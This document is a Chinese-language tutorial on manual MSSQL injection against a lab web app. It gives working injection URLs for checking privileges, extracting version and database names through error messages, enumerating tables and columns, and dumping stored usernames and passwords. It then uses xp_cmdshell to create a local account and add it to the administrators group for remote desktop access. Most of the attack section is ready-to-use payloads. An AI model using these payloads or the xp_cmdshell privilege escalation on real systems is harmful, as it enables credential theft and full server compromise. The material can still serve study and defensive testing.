MSSQL数据库
数据库简介
MSSQL
是指微软的SQL Server
数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库
注入简介
MSSQL
注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路
对于mssql
的一个注入点我们往往最关心的这个注入点的权限问题,是sa
、db_owner
还是public
;其次是这个注点是否显错,注释语句是否可用,例如sql server
中注释符“--
”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
对与mssql
有三个权限,sa
(最高权限,相当于system),db
(文件管理,数据库操作等等,相当于user-administrator),public
(数据库操作权限,相当于guest-users)
联合查询
基础知识:MSSQL
的系统自带库–>master
其实再每个网站中,一般一个网站不会跨库,而在MSSQL
中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有3个字段,NAME
字段和XTYPE
字段和ID
字段,name就是表名信息
,xtype是代表表的类型
,只有两个参数,S
代表系统自带表,U
代表用户创建的表,id
字段的值用来连接syscolumns
表
syscolumns
表中我们需要查询的字段就是name
字段
select * from sysobjects where xtype='U';
代码语言:javascript复制select * from syscolumns where id=2073058421;
top
关键字:由于MSSQL
中不存在limit
,那么想要输出一条数据怎么办呢,直接top 1
,输出两条数据top 2
,输出第二条数据top 1
限制条件!
如何实现MySQL
中的group_concat()
函数的用法,实例如下:
SELECT top 1 id, [name] = stuff((SELECT ',' [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2073058421;
Mssql插入新的数据
代码语言:javascript复制insert into users (id,username,password,age) values(4,'test','test',20)
注释:
insert into users (id,username,password,age):往users表里 id,username,password,age 插入数据
values(4,'test','test',20) :插入数据的值为:4,'test','test,'20
Mssql修改数据
代码语言:javascript复制update users set username='saul123' where id=4;
注释:
update users 更新更改 users 表
set username='saul123' 吧 username 的值修改为 saul123
where id=4 条件是 id=4 这条数据
Mssql删除数据
代码语言:javascript复制delete from users where id=4;
注释:
delete from users 删除 users 表里的
where id=4 条件是 id=4 这条数据
MSSQL中常用参数
@@version
,查询当前数据库版本
db_name()
,查询当前数据库名称
user
,查询当前用户
IS_SRVROLEMEMBER()
,查询数据库权限。
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
用法如下,证明相应权限则返回1
select IS_SRVROLEMEMBER('sysadmin');
Mssql手工注入详解
注入点:http://192.168.159.135:8080/get.aspx?id=1
判断是否是Mssql数据库
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from sysobjects)>0
页面返回正常说明是 mssql
数据库!而且你使用了上面这条语句说明它权限还有点大,还有可能是 sa
权限,因为可以读取任意表。
判断权限
代码语言:javascript复制and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));-
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
页面返回正常,说明他是 sa
权限!
查看当前数据库版本
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select @@version)
由上图可见,它的Mssql
版本是:Microsoft SQL Server 2005 - 9.00.1399.06 (X64) .
这里为什么要加一个 and 1=(select @@version)
呢?是这样的,and 1
是int
类型,它用了 =
后面的(select @@version)
是字符类
型,那肯定是不等于
啊,那么就会报错
从而爆出相关查询信息。
这里为什么会报错呢?因为我们原本访问网站 id=1
查询的是数字类型int
,而我们查询的是字符类
型,所以他从字符类型转换
为int类型失败
就导致网站报错从而泄露网站的数据库版本信息!
实际上我们可以直接吧 @@version
放到 id=
后面它也会被查询出来:
http://192.168.159.135:8080/get.aspx?id=@@version
查看当前数据库名称
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select db_name())
同理我们也可以使用这种方式:
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=db_name()
获取第一个用户数据库的名称
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
由上图可见,我们爆出来的用户创建的第一个
数据库名为 test
。
top 1
是一个SQL
查询的子句
,它用于查询结果只显示首条
记录。
SELECT TOP 1 * FROM的含义:
1、select为命令动词,含义为执行数据查询操作;
2、top 1子句含义为查询结果只显示首条记录;
3、*子句表示查询结果包括数据源中的所有字段;
4、from子句为指定数据源。
对于 master..sysdatabases
这个意思是这样的:在mssql
系统默认数据库master
的系统视图
里有这些:
懂我意思吧?
这里我来解释一下后面的 dbid>4
是什么意思:mssql
是靠dbid
来区分数据库名的!前面4
个id号
是默认mssql
数据库自带
的:
所以我们查询的时候需要从 dbid
第五
个开始查询,因为第五
个就是用户所创建的第一个数据库
,以此类推!
获取第二个用户数据库的名称
因为刚刚我们爆出来第一个数据库
的名称是 test
,那么我们就可以使用下面的语句来查询:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')
这里我来解释一下 :where dbid>4 and name !='test'
,这条语句是说明条件是 dbid>4
和 name
名字不等于
-test
的数据库!这样一来我们查询到了第二个用户创建的数据库名为:saulgoodman
!假如我们想要查询第三数据库名就可以按照这样的方式以此类推!
第二种方法
使用这种个语句:
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5)
我们只需要把 dbid>4
修改为 dbid>5
就可以查询第二个数据库了!以此类推!
(小技巧)获取所有数据库的名字
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select name from master..sysdatabases for xml path)
关于 for xml path
的意思就是将查询结果集以XML
形式展现!
具体可以参考这篇文章:
https://blog.csdn.net/weixin_34379433/article/details/93652001
获取表名
获取当前网站数据库所使用的第一个表名
:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
由上图可知,我们获取到第一个表名是 users
,如果想获取到第二个表名
的话就可以这样:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name !='users')
这里我来说一下:where xtype='u' and name !='users'
,对于 xtype
我文章开头已经说过了,大家往前翻!后面的意思就是 name
不等于 users
表,那么就会查询下一个表名,这样我们就能获取到 users
表的下一个表名!想要获取到第三个表名就以此类推!
(小技巧)爆出所有表名
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select name from sysobjects for xml path)
和上面爆所有数据库名那个一样,简单粗暴!
获取列名
我们知道了表名是 users
,那么就可以利用下面的语句来爆 users
下面的列名:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))
获取下一个列名就可以这样:
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id')
依次类推我们爆出了下面这些列名:
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id' and name !='username')
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id' and name !='username' and name !='password')
这个时候我们就获取到了网站的表名:users
,网站的列名:id
,username
、password
。
获取数据
获取账号 username
的值:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 username from users)
想要获取第二个
账号 username
的值那么就加一个条件语句 where
:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 password from users where id=2)
依次类推爆出所有的用户名!
获取密码 password
的值:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 password from users)
想要获取第二个
密码 password
的值那么就加一个条件语句 where
:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(select top 1 password from users where id=2)
依次类推爆出所有的密码!
Mssql手工注入另类玩法
因为我们刚才知道了网站的权限是 sa
权限,那么我们就可以干很多事,包括执行系统命令等等!
xp_cmdshell
:SQL
中运行系统命令行的系统存储过程,一般在安全级别较高的服务器权限上。也就是它开启的话我们就可以执行系统命令!
判断xp_cmdshell
是否存在:
代码语言:javascript复制http://192.168.159.135:8080/get.aspx?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
可以看到,页面返回正常,说明xp_cmdshell
开启了的!
xp_cmdshell
默认在mssql_2000
中是开启的,在mssql_2005
之后的版本中则默认禁止。如果用户拥有管理员sa
权限则可以用sp_configure
重新开启它。
详细可看这篇文章:https://bbs.ichunqiu.com/thread-3221-1-1.html
代码语言:javascript复制开启 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
xp_cmdshell执行命令提权
首先我们服务器上只有这些用户:
我们使用xp_cmdshell
对他提权:
http://192.168.159.135:8080/get.aspx?id=1 ;exec master..xp_cmdshell "net user saul saul123 /add"
页面返回正常说明执行成功!
我们吧 saul
用户添加到管理员组:
http://192.168.159.135:8080/get.aspx?id=1 ;exec master..xp_cmdshell "net localgroup administrators saul /add"
这个时候因为它的页面是不回显,那么我们来到服务器看看:
由上图可见,我们创建了一个 saul
用户到目标服务器提权成功了!接下来如果目标是外网那么我们就可以登录到它的远程桌面:
至此,MsSQL手工注入就讲到这里!如果大家有什么意见可以到我微信公众号反馈~